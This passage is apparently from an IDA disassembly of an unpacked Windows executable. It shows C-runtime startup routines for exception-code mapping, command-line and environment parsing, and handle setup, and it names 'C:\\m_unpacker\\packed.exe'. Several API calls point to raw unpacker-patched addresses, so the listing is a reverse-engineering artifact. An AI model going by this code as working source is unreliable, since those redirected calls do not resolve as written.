		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------

loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4DB380
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DB380, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_43C970
		mov	edx, dword_43C974
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43C900h[esi*4]

loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65

loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_43C97C
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_43C97C, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422D89:				; CODE XREF: ___:00422D7Bj
		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_43C97C, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_43C97C, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_43C97C, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_43C97C, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_43C97C, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_43C97C, 8Ah

loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_43C97C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43C97C, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------

loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx

loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4DB380, eax

loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------

loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 2640000h

loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C978
		cmp	dword_43C8F8, edx
		push	esi
		mov	eax, offset dword_43C8F8
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8F8h[esi*4]

loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51

loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8F8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71

loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DC954, 0
		jnz	short loc_422E80
		call	sub_42026D

loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4DC94C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2

loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------

loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC

loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------

loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC

loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6

loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF

loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC954, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D

loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4DB318
		xor	edi, edi

loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi

loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------

loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DB2D0, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx

loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4DB318
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp

loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx

loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx

loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp

loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4DB318
		call	sub_41B0B1
		pop	ecx
		mov	dword_4DB318, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DC950, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC954, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D

loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 26802A6h
		mov	eax, dword_4DC94C
		mov	off_4DB2E0, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax

loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx

loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DB2C8, esi
		pop	edi
		pop	esi
		mov	dword_4DB2C4, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F

loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4DC821[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax

loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------

loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi

loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------

loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi

loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DC821[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi

loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax

loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F

loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA

loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------

loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0

loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0

loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF

loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE

loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------

loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]

loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx

loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------

loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------

loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi

loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx

loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1

loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx

loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi

loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153

loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0

loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4DC821[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]

loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------

loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4DC821[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]

loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]

loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------

loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi

loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------

loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0

loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DB488
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4DB488, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------

loc_4231FF:				; CODE XREF: ___:004231F1j
		nop
		call	near ptr 2630A3Ah
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4DB488, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------

loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8

loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9

loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C

loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E

loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx

loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]

loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		nop
		call	near ptr 2630D08h
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------

loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9

loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		call	near ptr 2630A3Ah
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9

loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD

loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3

loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------

loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch

loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		nop
		call	near ptr 2630D39h
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------

loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax

loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx

loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4DC600, esi
		mov	dword_4DC700, 20h
		lea	eax, [esi+100h]

loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DC600
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------

loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 2890000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax

loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4DC700, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4DC604

loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4DC700, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]

loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------

loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4DC700, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------

loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4DC700

loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432

loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	short loc_423429

loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC600[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl

loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC

loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx

loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4DC600
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------

loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h

loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		nop
		call	near ptr 26307C8h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484

loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------

loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------

loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h

loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4DC700
		nop
		call	near ptr 2630986h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]

loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------

loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------

loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------

loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1

loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4DB320
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43A2F4, 1
		jnz	short locret_4235C8

loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4DB48C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax

loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43C988

loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43CA18
		jl	short loc_4235DC

loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43C988[esi]
		jnz	loc_423719
		mov	eax, dword_4DB320
		cmp	eax, 1
